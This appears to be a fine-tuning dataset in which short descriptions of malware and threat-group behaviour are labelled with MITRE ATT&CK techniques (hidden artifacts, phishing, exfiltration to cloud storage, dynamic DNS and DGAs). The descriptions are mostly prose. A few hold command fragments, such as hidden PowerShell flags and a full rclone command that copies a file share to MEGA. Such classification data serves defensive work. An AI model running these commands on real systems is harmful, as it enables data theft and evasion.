"WastedLocker has copied a random file from the Windows System32 folder to the ""%APPDATA%"" location under a different hidden filename.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"XCSSET uses a hidden folder named "".xcassets"" and "".git"" to embed itself in Xcode.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"ccf32 has created a hidden directory on targeted systems, naming it after the current local time (year, month, and day).",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
"iKitten saves itself with a leading ""."" so that it's hidden from users by default.",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],fine_tune
Dragonfly 2.0 modified the Registry to hide create user accounts.,['T1564.002 - Hide Artifacts: Hidden Users'],fine_tune
"APT3 has been known to use ""-WindowStyle Hidden"" to conceal PowerShell windows.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
APT32 has used the WindowStyle parameter to conceal PowerShell windows.,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"Agent Tesla has used ""ProcessWindowStyle.Hidden"" to hide windows.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"BONDUPDATER uses ""-windowstyle hidden"" to conceal a PowerShell window that downloads a payload.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"CopyKittens has used ""-w hidden"" and ""-windowstyle hidden"" to conceal PowerShell windows.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
Cuba has executed hidden PowerShell windows.,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"DarkHydrus has used ""-WindowStyle Hidden"" to conceal PowerShell windows.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"Deep Panda has used ""-w hidden"" to conceal PowerShell windows by setting the WindowStyle parameter to hidden.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"Gamaredon Group has used ""hidcon"" to run batch files in a hidden console window.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"Gorgon Group has used ""-W Hidden"" to conceal PowerShell windows by setting the WindowStyle parameter to hidden.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"HAMMERTOSS has used ""-WindowStyle hidden"" to conceal PowerShell windows.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"KOCTOPUS has used ""-WindowsStyle Hidden"" to hide the command window.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
Kevin can hide the current window from the targeted user via the `ShowWindow` API function.,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"KeyBoy uses ""-w Hidden"" to conceal a PowerShell window that downloads a payload.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
Kimsuky has used an information gathering module that will hide an AV software window from the victim.,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
Kivars has the ability to conceal its activity through hiding active windows.,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"Koadic has used the command ""Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden"" to hide its window.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
Metamorfo has hidden its GUI using the ShowWindow() WINAPI call.,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
Nomadic Octopus executed PowerShell in a hidden window.,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
"QuasarRAT can hide process windows and make web requests invisible to the compromised user. Requests marked as invisible have been sent with user-agent string `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A` though QuasarRAT can only be run on Windows systems.",['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
QuietSieve has the ability to execute payloads in a hidden window.,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
SILENTTRINITY has the ability to set its window state to hidden.,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
Ursnif droppers have used COM properties to execute malware in hidden windows.,['T1564.003 - Hide Artifacts: Hidden Window'],fine_tune
APT32 used NTFS alternate data streams to hide their payloads.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
"BitPaymer has copied itself to the "":bin"" alternate data stream of a newly created file.",['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
Expand can be used to download or copy a file into an alternate data stream.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
Gazer stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
LoJax has loaded an embedded NTFS DXE driver to be able to access and write to NTFS partitions.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
PowerDuke hides many of its backdoor payloads in an alternate data stream (ADS).,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
Some variants of the Zeroaccess Trojan have been known to store data in Extended Attributes.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
The Regin malware platform uses Extended Attributes to store encrypted executables.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
Valak has the ability save and execute files as alternate data streams (ADS).,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
WastedLocker has the ability to save and execute files as an alternate data stream (ADS).,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
esentutl can be used to read and write alternate data streams.,['T1564.004 - Hide Artifacts: NTFS File Attributes'],fine_tune
BOOTRASH has used unallocated disk space between partitions for a hidden file system that stores components of the Nemesis bootkit.,['T1564.005 - Hidden File System'],fine_tune
ComRAT has used a portable FAT16 partition image placed in %TEMP% as a hidden file system.,['T1564.005 - Hidden File System'],fine_tune
Regin has used a hidden file system to store some of its components.,['T1564.005 - Hidden File System'],fine_tune
Strider has used a hidden file system that is stored as a file on disk.,['T1564.005 - Hidden File System'],fine_tune
"Ragnar Locker has used VirtualBox and a stripped Windows XP virtual machine to run itself. The use of a shared folder specified in the configuration enables Ragnar Locker to encrypt files on the host operating system, including files on any mapped drives.",['T1564.006 - Run Virtual Instance'],fine_tune
"FIN4 has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as “hacked,"" ""phish,"" and “malware"" in a likely attempt to prevent organizations from communicating about their activities.",['T1564.008 - Hide Artifacts: Email Hiding Rules'],fine_tune
Keydnap uses a resource fork to present a macOS JPEG or text file icon rather than the executable's icon assigned by the operating system.,['T1564.009 - Resource Forking'],fine_tune
"OSX/Shlayer has used a resource fork to hide a compressed binary file of itself from the terminal, Finder, and potentially evade traditional scanners.",['T1564.009 - Resource Forking'],fine_tune
Cobalt Strike can use spoof arguments in spawned processes that execute beacon commands.,['T1564.010 - Process Argument Spoofing'],fine_tune
SombRAT has the ability to modify its process memory to hide process command-line arguments.,['T1564.010 - Process Argument Spoofing'],fine_tune
"APT38 has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions.",['T1565.001 - Stored Data Manipulation'],fine_tune
"SUNSPOT created a copy of the SolarWinds Orion software source file with a "".bk"" extension to backup the original content, wrote SUNBURST using the same filename but with a "".tmp"" extension, and then moved SUNBURST using ""MoveFileEx"" to the original filename with a "".cs"" extension so it could be compiled within Orion software.",['T1565.001 - Stored Data Manipulation'],fine_tune
APT38 has used DYEPACK to manipulate SWIFT messages en route to a printer.,['T1565.002 - Transmitted Data Manipulation'],fine_tune
Melcoz can monitor the clipboard for cryptocurrency addresses and change the intended address to one controlled by the adversary.,['T1565.002 - Transmitted Data Manipulation'],fine_tune
"Metamorfo has a function that can watch the contents of the system clipboard for valid bitcoin addresses, which it then overwrites with the attacker's address.",['T1565.002 - Transmitted Data Manipulation'],fine_tune
APT38 has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user.,['T1565.003 - Runtime Data Manipulation'],fine_tune
Axiom has used spear phishing to initially compromise victims.,['T1566 - Phishing'],fine_tune
Dragonfly has used spearphising campaigns to gain access to victims.,['T1566 - Phishing'],fine_tune
Hikit has been spread through spear phishing.,['T1566 - Phishing'],fine_tune
APT-C-36 has used spearphishing emails with password protected RAR attachment to avoid being detected by the email gateway.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
APT1 has sent spearphishing emails containing malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
APT28 sent spearphishing emails containing malicious Microsoft Office and RAR attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
APT30 has used spearphishing emails with malicious DOC attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
APT32 has sent spearphishing emails with a malicious executable disguised as a document or spreadsheet.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
APT37 delivers malware using spearphishing emails with malicious HWP attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
APT38 has conducted spearphishing campaigns using malicious email attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
APT39 leveraged spearphishing emails with malicious attachments to initially compromise victims.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
APT41 sent spearphishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Ajax Security Team has used personalized spearphishing attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Andariel has conducted spearphishing campaigns that included malicious Word or Excel attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
BLINDINGCAN has been delivered by phishing emails containing malicious Microsoft Office documents.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
BRONZE BUTLER used spearphishing emails with malicious Microsoft Word attachments to infect victims.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Bandook is delivered via a malicious Word document inside a zip file.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Bisonal has been delivered as malicious email attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
BlackTech has used spearphishing e-mails with malicious password-protected archived files (ZIP or RAR) to deliver malware.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Bumblebee has gained execution through luring users into opening malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Chaes has been delivered by sending victims a phishing email containing a malicious .docx file.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Cobalt Group has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
DanBot has been distributed within a malicious Excel attachment via spearphishing emails.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
DarkHydrus has sent spearphishing emails with password-protected RAR archives containing malicious Excel Web Query files (.iqy). The group has also sent spearphishing emails that contained malicious Microsoft Office documents that use the “attachedTemplate” technique to load a template from a remote server.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
DarkWatchman has been delivered via spearphishing emails that contain a malicious zip file.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Dragonfly 2.0 used spearphishing with Microsoft Office attachments to target victims.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"During Operation Dust Storm, the threat actors sent spearphishing emails that contained a malicious Microsoft Word document.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Elderwood has delivered zero-day exploits and malware to victims via targeted emails containing malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Ember Bear has sent spearphishing emails containing malicious attachments in the form of PDFs, Word documents, JavaScript files, and Control Panel File (CPL) executables.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Emotet has been delivered by phishing emails containing attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
EnvyScout has been distributed via spearphishing as an email attachment.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
FIN7 sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
FIN8 has distributed targeted emails containing Word documents with embedded malicious macros.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Ferocious Kitten has conducted spearphishing campaigns containing malicious documents to lure victims to open the attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Flagpro has been distributed via spearphishing as an email attachment.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Frankenstein has used spearphishing emails to send trojanized Microsoft Word documents.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Gallmaker sent emails with malicious Microsoft Office documents attached.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Gamaredon Group has delivered spearphishing emails with malicious attachments to targets.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Gorgon Group sent emails to victims with malicious Microsoft Office documents attached.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Hancitor has been delivered via phishing emails with malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
IcedID has been delivered via phishing e-mails with malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
IndigoZebra sent spearphishing emails containing malicious password-protected RAR attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
JSS Loader has been delivered by phishing emails containing malicious Microsoft Excel attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Javali has been delivered as malicious e-mail attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
KOCTOPUS has been distributed via spearphishing emails with malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Kerrdown has been distributed through malicious e-mail attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Kimsuky has used emails containing Word, Excel and/or HWP (Hangul Word Processor) documents in their spearphishing campaigns.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Lokibot is delivered via a malicious XLS attachment contained within a spearhpishing email.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Metamorfo has been delivered to victims via emails with malicious HTML attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Mofang delivered spearphishing emails with malicious documents, PDFs, or Excel files attached.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
OceanSalt has been delivered via spearphishing emails with Microsoft Office attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
OilRig has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
OutSteel has been distributed as a malicious attachment within a spearphishing email.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
PLATINUM has sent spearphishing emails with attachments to victims as its primary initial access vector.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Patchwork has used spearphishing with an attachment to deliver files with exploits to initial victims.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
PoetRAT was distributed via malicious Word documents.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Pony has been delivered via spearphishing attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
ROKRAT has been delivered via spearphishing emails that contain a malicious Hangul Office or Microsoft Word document.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
RTM has been delivered via spearphishing attachments disguised as PDF documents.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
RTM has used spearphishing attachments to distribute its malware.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Rancor has attached a malicious document to an email to gain initial access.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Rifdoor has been distributed in e-mails with malicious Excel or Word documents.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Sandworm Team has delivered malicious Microsoft Office attachments via spearphishing emails.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Sharpshooter has sent malicious attachments via emails to targets.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
SideCopy has sent spearphishing emails with malicious hta file attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Silence has sent emails with malicious DOCX, CHM, LNK and ZIP attachments.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Squirrelwaffle has been distributed via malicious Microsoft Office documents within spam emails.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
TA459 has targeted victims using spearphishing emails with malicious Microsoft Word attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
TA505 has used spearphishing emails with malicious attachments to initially compromise victims.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
TA551 has sent spearphishing attachments with password protected ZIP files.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
The White Company has sent phishing emails with malicious Microsoft Word attachments to victims.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
ThreatNeedle has been distributed via a malicious Word document within a spearphishing email.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Transparent Tribe has sent spearphishing e-mails with attachments to deliver malicious payloads.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
TrickBot has used an email with an Excel sheet containing a malicious macro to deploy the malware,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Tropic Trooper sent spearphishing emails that contained malicious Microsoft Office and fake installer file attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Turla has used spearphishing emails to deliver BrainTest as a malicious attachment.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Valak has been delivered via spearphishing e-mails with password protected ZIP files.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Windshift has sent spearphishing emails with attachment to harvest credentials and deliver malware.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"Wizard Spider has used spearphishing attachments to deliver Microsoft documents containing macros or PDFs containing malicious links to download either Emotet, Bokbot, TrickBot, or Bazar.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"ZxxZ has been distributed via spearphishing emails, usually containing a malicious RTF or Excel attachment.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
admin@338 has sent emails with malicious Microsoft Office documents attached.,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"AADInternals can send ""consent phishing"" emails containing malicious links designed to steal users’ access tokens.",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
APT28 sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
APT39 leveraged spearphishing emails with malicious links to initially compromise victims.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
AppleJeus has been distributed via spearphishing link.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Bazar has been spread via emails with embedded malicious links.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
BlackTech has used spearphishing e-mails with links to cloud services to deliver malware.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Bumblebee has been spread through e-mail campaigns with malicious links.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Confucius has sent malicious links to victims through email campaigns.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Dragonfly 2.0 used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"During C0011, Transparent Tribe sent emails containing a malicious link to student targets in India.",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"During Night Dragon, threat actors sent spearphishing emails containing links to compromised websites where malware was downloaded.",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"During Operation Dust Storm, the threat actors sent spearphishing emails containing a malicious link.",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
EXOTIC LILY has relied on victims to open malicious links in e-mails for execution.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Earth Lusca has sent spearphishing emails to potential targets that contained a malicious link.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Elderwood has delivered zero-day exploits and malware to victims via targeted emails containing a link to malicious content hosted on an uncommon Web server.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Ember Bear has sent spearphishing emails containing malicious links.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
FIN7 has conducted broad phishing campaigns using malicious links.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Hancitor has been delivered via phishing emails which contained malicious links.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Javali has been delivered via malicious links embedded in e-mails.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
KOCTOPUS has been distributed as a malicious link within an email.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Kimsuky has sent spearphishing emails containing a link to a document that contained malicious macros or took the victim to an actor-controlled domain.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Lazarus Group has sent malicious links to victims via email.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
LazyScripter has used spam emails that contain a link that redirects the victim to download a malicious document.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"Leviathan has sent spearphishing emails with links, often using a fraudulent lookalike domain and stolen branding.",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Magic Hound has sent malicious URL links through email to victims. In some cases the URLs were shortened or linked to Word documents with malicious macros that executed PowerShells scripts to download Pupy.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Melcoz has been spread through malicious links embedded in e-mails.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Mofang delivered spearphishing emails with malicious links included.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Night Dragon sent spearphishing emails containing links to compromised websites where malware was downloaded.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
OutSteel has been distributed through malicious links contained within spearphishing emails.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
QakBot has spread through emails with malicious links.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Saint Bot has been distributed through malicious links contained within spearphishing emails.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Sidewinder has sent e-mails with malicious links often crafted for specific targets.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Squirrelwaffle has been distributed through phishing emails containing a malicious URL.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Stolen Pencil sent spearphishing emails containing links to domains controlled by the threat actor.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
TA505 has sent spearphishing emails containing malicious links.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
TrickBot has been delivered via malicious links in phishing e-mails.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Turla attempted to trick targets into clicking on a link featuring a seemingly legitimate domain from Adobe.com to download their malware and gain initial access.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
Windshift has sent spearphishing emails with links to harvest credentials and deliver malware.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
ZIRCONIUM has used malicious links and web beacons in e-mails for malware download and to track hits to attacker-controlled URL's.,['T1566.002 - Phishing: Spearphishing Link'],fine_tune
APT29 has used the legitimate mailing service Constant Contact to send phishing e-mails.,['T1566.003 - Spearphishing via Service'],fine_tune
Ajax Security Team has used various social media channels to spearphish victims.,['T1566.003 - Spearphishing via Service'],fine_tune
FIN6 has used fake job advertisements sent via LinkedIn to spearphish targets.,['T1566.003 - Spearphishing via Service'],fine_tune
Lazarus Group has used fake job advertisements sent via LinkedIn to spearphish victims.,['T1566.003 - Spearphishing via Service'],fine_tune
"Lazarus Group has used social media platforms, including LinkedIn and Twitter, to send spearphishing messages.",['T1566.003 - Spearphishing via Service'],fine_tune
Magic Hound used various social media channels (such as LinkedIn) as well as messaging services (such as WhatsApp) to spearphish victims.,['T1566.003 - Spearphishing via Service'],fine_tune
OilRig has used LinkedIn to send spearphishing links.,['T1566.003 - Spearphishing via Service'],fine_tune
APT28 can exfiltrate data over Google Drive.,['T1567 - Exfiltration Over Web Service'],fine_tune
AppleSeed has exfiltrated files using web services.,['T1567 - Exfiltration Over Web Service'],fine_tune
DropBook has used legitimate web services to exfiltrate data.,['T1567 - Exfiltration Over Web Service'],fine_tune
BoomBox can upload data to dedicated per-victim folders in Dropbox.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
Chimera has exfiltrated stolen data to OneDrive accounts.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
Clambling can send files from a victim's machine to Dropbox.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
Confucius has exfiltrated victim data to cloud storage service accounts.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
CreepyDrive can use cloud services including OneDrive for data exfiltration.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
"During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y ""\\SERVER\Shares"" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.",['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
Earth Lusca has used the megacmd tool to upload stolen files from a victim network to MEGA.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
Empire can use Dropbox for data exfiltration.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
FIN7 has exfiltrated stolen data to the MEGA file sharing site.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
"HEXANE has used cloud services, including OneDrive, for data exfiltration.",['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
Lazarus Group has exfiltrated stolen data to Dropbox using a customized version of dbxcli.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
POLONIUM has exfiltrated stolen data to POLONIUM-owned OneDrive and Dropbox accounts.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
ROKRAT can send collected data to cloud storage services such as PCloud.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
RainyDay can use a file exfiltration tool to upload specific files to Dropbox.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
"Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.",['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
Turla has used WebDAV to upload stolen USB files to a cloud drive. Turla has also exfiltrated stolen files to OneDrive and 4shared.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
ZIRCONIUM has exfiltrated stolen data to Dropbox.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],fine_tune
APT29 used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.,['T1568 - Dynamic Resolution'],fine_tune
Bisonal has used a dynamic DNS service for C2.,['T1568 - Dynamic Resolution'],fine_tune
"During Night Dragon, threat actors used dynamic DNS services for C2.",['T1568 - Dynamic Resolution'],fine_tune
"For Operation Spalax, the threat actors used dynamic DNS services, including Duck DNS and DNS Exit, as part of their C2 infrastructure.",['T1568 - Dynamic Resolution'],fine_tune
Gamaredon Group has incorporated dynamic DNS domains in its infrastructure.,['T1568 - Dynamic Resolution'],fine_tune
Gelsemium can use dynamic DNS domain names in C2.,['T1568 - Dynamic Resolution'],fine_tune
Gelsemium has used dynamic DNS in its C2 infrastructure.,['T1568 - Dynamic Resolution'],fine_tune
NETEAGLE can use HTTP to download resources that contain an IP address and port number pair to connect to for C2.,['T1568 - Dynamic Resolution'],fine_tune
"Tomiris has connected to a signalization server that provides a URL and port, and then Tomiris sends a GET request to that URL to establish C2.",['T1568 - Dynamic Resolution'],fine_tune
UNC2452 used dynamic DNS resolution to construct and resolve to randomly-generated subdomains for C2.,['T1568 - Dynamic Resolution'],fine_tune
Machete has used free dynamic DNS domains for C2.,['T1568.001 - Fast Flux DNS'],fine_tune
TA505 has used fast flux to mask botnets by distributing payloads across multiple IPs.,['T1568.001 - Fast Flux DNS'],fine_tune
gh0st RAT operators have used dynamic DNS to mask the true location of their C2 behind rapidly changing IP addresses.,['T1568.001 - Fast Flux DNS'],fine_tune
njRAT has used a fast flux DNS for C2 IP resolution.,['T1568.001 - Fast Flux DNS'],fine_tune
Bazar can implement DGA using the current date as a seed variable.,['T1568.002 - Domain Generation Algorithms'],fine_tune
CCBkdr can use a DGA for Fallback Channels if communications with the primary command and control server are lost.,['T1568.002 - Domain Generation Algorithms'],fine_tune
"CHOPSTICK can use a DGA for Fallback Channels, domains are generated by concatenating words from lists.",['T1568.002 - Domain Generation Algorithms'],fine_tune
Conficker has used a DGA that seeds with the current UTC victim system date to generate domains.,['T1568.002 - Domain Generation Algorithms'],fine_tune
DarkWatchman has used a DGA to generate a domain name for C2.,['T1568.002 - Domain Generation Algorithms'],fine_tune
Ebury has used a DGA to generate a domain name for C2.,['T1568.002 - Domain Generation Algorithms'],fine_tune
MiniDuke can use DGA to generate new Twitter URLs for C2.,['T1568.002 - Domain Generation Algorithms'],fine_tune
Ngrok can provide DGA for C2 servers through the use of random URL strings that change every 12 hours.,['T1568.002 - Domain Generation Algorithms'],fine_tune
QakBot can use domain generation algorithms in C2 communication.,['T1568.002 - Domain Generation Algorithms'],fine_tune
ShadowPad uses a DGA that is based on the day of the month for C2 servers.,['T1568.002 - Domain Generation Algorithms'],fine_tune
Shark can send DNS C2 communications using a unique domain generation algorithm.,['T1568.002 - Domain Generation Algorithms'],fine_tune
SombRAT can use a custom DGA to generate a subdomain for C2.,['T1568.002 - Domain Generation Algorithms'],fine_tune
